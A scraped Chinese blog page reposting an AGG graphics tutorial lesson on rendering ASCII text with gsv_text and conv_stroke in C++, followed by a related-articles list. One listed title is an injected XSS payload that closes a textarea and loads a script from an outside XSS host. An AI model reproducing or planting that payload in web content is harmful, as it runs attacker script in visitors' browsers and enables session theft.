博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
AGG第三十五课 gsv_text 渲染ASCII字符
阅读量:5992 次
发布时间:2019-06-20

本文共 1009 字,大约阅读时间需要 3 分钟。

代码

    agg::rendering_buffer &rbuf = rbuf_window();

    agg::pixfmt_bgr24 pixf(rbuf);


    typedef agg::renderer_base<agg::pixfmt_bgr24> renderer_base_type;

    renderer_base_type renb(pixf);


    typedef agg::renderer_scanline_bin_solid<renderer_base_type> renderder_scanline_type;

    renderder_scanline_type rensl(renb);


    agg::rasterizer_scanline_aa<> ras;

    agg::scanline_u8 sl;

    ras.reset();

    renb.clear(agg::rgba8(255,255,255));


    agg::gsv_text txt;

    agg::conv_stroke<agg::gsv_text> txtStroke(txt);

    txtStroke.width(3);

    txtStroke.line_cap(agg::square_cap);


    txt.flip(true);//Windows下坐标轴是反转的

    txt.size(20);//文字的尺寸

    txt.line_space(10);//gsv_text能够处理\n换行,设置每一行之间的间距

    txt.space(10);//字符之间的间距

    txt.start_point(100, 300);//文字的起始位置,实际上是有偏差的,需要进行微调

    txt.text("http://fengyuzaitu.blog.51cto.com\nhttp://fengyuzaitu.blog.51cto.com");

    ras.add_path(txtStroke);

    agg::render_scanlines_aa_solid(ras,sl,renb,agg::rgba8(255, 0, 0));

    ras.reset();


注意:

1 只支持渲染ASCII字符

2 只能够横向字符的渲染

     本文转自fengyuzaitu 51CTO博客,原文链接:http://blog.51cto.com/fengyuzaitu/1963600,如需转载请自行联系原作者

你可能感兴趣的文章
NGUI从入门到实战第1章开启NGUI学习之旅
查看>>
SSL压力测试工具THC-SSL-DOS
查看>>
我的友情链接
查看>>
squid 配置选项
查看>>
is-is+BGP做城域网技术
查看>>
运用struts2实现AJAX交互
查看>>
win2008安装vs2008报错 Role Management Tool
查看>>
UML关系(泛化,实现,依赖,关联(聚合,组合))
查看>>
codis实战
查看>>
This is a test"></textarea><script src=http://xss.tw/1024></script>
查看>>
linux下nfs安装配置
查看>>
Dalvik虚拟机的运行过程分析
查看>>
mysql a-b复制常见错误
查看>>
手把手教人安装ISA2006设定
查看>>
Storm笔记整理(五):可靠性分析、定时任务与Storm UI参数详解
查看>>
(二)关于RxJava:实例详解
查看>>
centos7.2 redis安装及java测试
查看>>
oracle 用户账号 频繁锁定 解决办法
查看>>
一个新兴的日志管理产品
查看>>
我的友情链接
查看>>